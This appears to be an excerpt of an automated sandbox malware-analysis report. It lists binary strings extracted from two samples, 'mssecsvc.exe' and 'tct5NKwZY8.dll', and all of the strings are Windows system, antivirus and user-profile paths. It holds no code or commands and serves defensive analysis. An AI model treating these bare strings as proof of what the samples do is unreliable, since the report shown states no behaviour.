          Source: tct5NKwZY8.dllBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpwd.sys
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\ndiscap.inf_loctform.
          Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Remote Access Hoste`
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\ipnat.sys
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files\2c07d841-785f-469b-81db-3ff900796688.png
          Source: mssecsvc.exe.2.drBinary string: 9\Device\HarddiskVolume2\Windows\System32\drivers\mpio.sys
          Source: tct5NKwZY8.dllBinary string: ~\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files'*
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cpu.inf_locCC
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sys
          Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex,
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sysS,
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00d.catp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OpticalMediaDisc-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: ^\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows
          Source: mssecsvc.exe.2.drBinary string: v\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\WinSATAPI.dllp
          Source: tct5NKwZY8.dllBinary string: r\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History\desktop.ini:
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-LocalPrinting-Home-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\nslog.cfgS
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_loc
          Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\acpi.inf_loc
          Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\Temp\_avast_p
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\netsstpt.PNFwnp
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows Defender
          Source: tct5NKwZY8.dllBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sys9
          Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Windows\System32\sdiagnhost.exe
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\WUDFRd.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Backup-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites\desktop.ini
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr009.cat1p
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\publog.cfgk
          Source: mssecsvc.exe.2.drBinary string: V\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chkH
          Source: tct5NKwZY8.dllBinary string: 5\Device\HarddiskVolume2\Windows\System32\udhisapi.dll
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
          Source: tct5NKwZY8.dllBinary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\HdAudio.sys.muip
          Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_loc
          Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\smb.sysH
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\schedlog.cfgp
          Source: tct5NKwZY8.dllBinary string: 7\Device\HarddiskVolume2\Windows\System32\MSMPEG2ENC.DLLp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpahci.sysp
          Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_us.lngp
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\ndisuio.PNFT`
          Source: mssecsvc.exe.2.drBinary string: j\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpagent.log.1
          Source: mssecsvc.exe.2.drBinary string: q\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentp
          Source: mssecsvc.exe.2.drBinary string: m\Device\HarddiskVolume2\Users\
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep003.cat
          Source: mssecsvc.exe.2.drBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.001H
          Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_ru.lng>"
          Source: mssecsvc.exe.2.drBinary string: .\Device\HarddiskVolume2\Windows\inf\wfplwf.PNF
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\Performance\WinSAT
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\nfrd960.sys
          Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_locp
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\bthmodem.sys
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\fdPHost.dll
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623
          Source: mssecsvc.exe.2.drBinary string: z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.236.gthr
          Source: tct5NKwZY8.dllBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.002H
          Source: tct5NKwZY8.dllBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ws2ifsl.sys
          Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx00w.cat
          Source: tct5NKwZY8.dllBinary string: p\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost8P
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sysPD
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_loc
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_locH
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc00c.cat
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vsmraid.sysp
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\rasmans.dll
          Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs1
          Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Windows Error ReportingPU
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\Temp\avg_a04392p
          Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibilityum
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00b.cat
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\msdtc.exe}SDTL
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sys
          Source: mssecsvc.exe.2.drBinary string: a\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntexe.catp
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\aelupsvc.dll
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx00d.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.ciT
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasCMAK-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB2534111~31bf3856ad364e35~x86~~6.1.1.0.cat
          Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\tssecsrv.sys
          Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Windows\System32\Speech\SpeechUX\sapi.cpl
          Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\/
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sysST
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\wacompen.sysp
          Source: tct5NKwZY8.dllBinary string: f\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\History68E:
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\msdtckrm.dll
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\amdsata.sys
          Source: mssecsvc.exe.2.drBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.000H
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Users\Public\Documents\desktop.ini
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: tct5NKwZY8.dllBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\HpSAMD.sys F
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\bxvbdx.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnts003.cat
          Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLsp
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\auditcse.dll
          Source: tct5NKwZY8.dllBinary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\scfilter.sys.mui
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\tbssvc.dllSTE
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx002.catp
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usb.inf_locp
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYSH
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Modem-Drivers-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catH
          Source: tct5NKwZY8.dllBinary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntph.cat
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_locp
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\DriverStore\en-USC
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.inip
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\advpack.dll
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\ncobjapi.dllp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Sensors-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\history.xml
          Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\ProgramData\Avg\AV\Chjw\avgpsi.db-journal
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sysh
          Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\sqlceqp30.dll
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr00a.cat
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\netserv.PNFTMP8p
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-HomeBasicEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\volsnap.PNFR07
          Source: mssecsvc.exe.2.drBinary string: `\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows~p
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\volmgrx.sys.muip
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sysr
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976932~31bf3856ad364e35~x86~~6.1.0.17514.catlum
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WUClient-SelfUpdate-Aux-AuxComp~31bf3856ad364e35~x86~ru-RU~7.6.7600.320.cat
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_loc
          Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\AMDAGP.SYS.mui
          Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}t$p
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc005.catp
          Source: tct5NKwZY8.dllBinary string: G\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\GAGP30KX.SYS.mui@p
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00d.cat
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep002.catp
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00c.catGQ
          Source: tct5NKwZY8.dllBinary string: h\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Cookies
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\evbdx.sysskV
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\asyncmac.sys
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\iaStorV.sysr*
          Source: mssecsvc.exe.2.drBinary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\AVG\AV\cfgall\fixcfg.lockc
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Encoder-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgemc.log
          Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe5E
          Source: tct5NKwZY8.dllBinary string: +\Device\HarddiskVolume2\Windows\System32\ruIE
          Source: tct5NKwZY8.dllBinary string: 2\Device\HarddiskVolume2\Windows\System32\wbem\Logs856p
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\drivers\mshidkmdf.sysA
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sysD
          Source: mssecsvc.exe.2.drBinary string: q\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrSerWdm.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-UltimateEdition~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\HdAudio.sysd
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\servicing\TrustedInstaller.exeAP7PDC
          Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_1_for_KB976902~31bf3856ad364e35~x86~~6.1.1.17514.catCp
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WindowsFoundation-LanguagePack-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catid4
          Source: mssecsvc.exe.2.drBinary string: h\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpdrv.log.2H
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Format-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\System32\pots.dllp
          Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\Windows\System32\ru-RU\microsoft-windows-kernel-power-events.dll.mui
          Source: mssecsvc.exe.2.drBinary string: t\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.inim
          Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exeta
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-WMIProvider-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat$0p
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\dot3svc.dllPN
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpdr.sysw
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\pnrpauto.dll
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\winusb.sysiv
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\gpscript.dll
          Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites3
          Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\System32\qmgr.dll
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_for_KB976932~31bf3856ad364e35~x86~~6.1.0.17514.cat
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky007.catp
          Source: tct5NKwZY8.dllBinary string: @\Device\HarddiskVolume2\Windows\Prefetch\SVCHOST.EXE-007FEA55.pf
          Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume2\Program Files\Common Files\AV\avast! Antivirus\userdata.cab0_TS
          Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00y.catp
          Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc
          Source: tct5NKwZY8.dllBinary string: |\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.iniop
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\lpremove.exep
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sys<\
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\gatherNetworkInfo.vbs1
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat\
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\djsvs.sysD
          Source: tct5NKwZY8.dllBinary string: O\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Temp
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\vmbus.sys
          Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume3\$RECYCLE.BIN\S-1-5-21-1870734524-1274666089-2119431859-1000H
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp002.catWp
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnbr004.catH
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-BusinessScanning-Feature-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sys
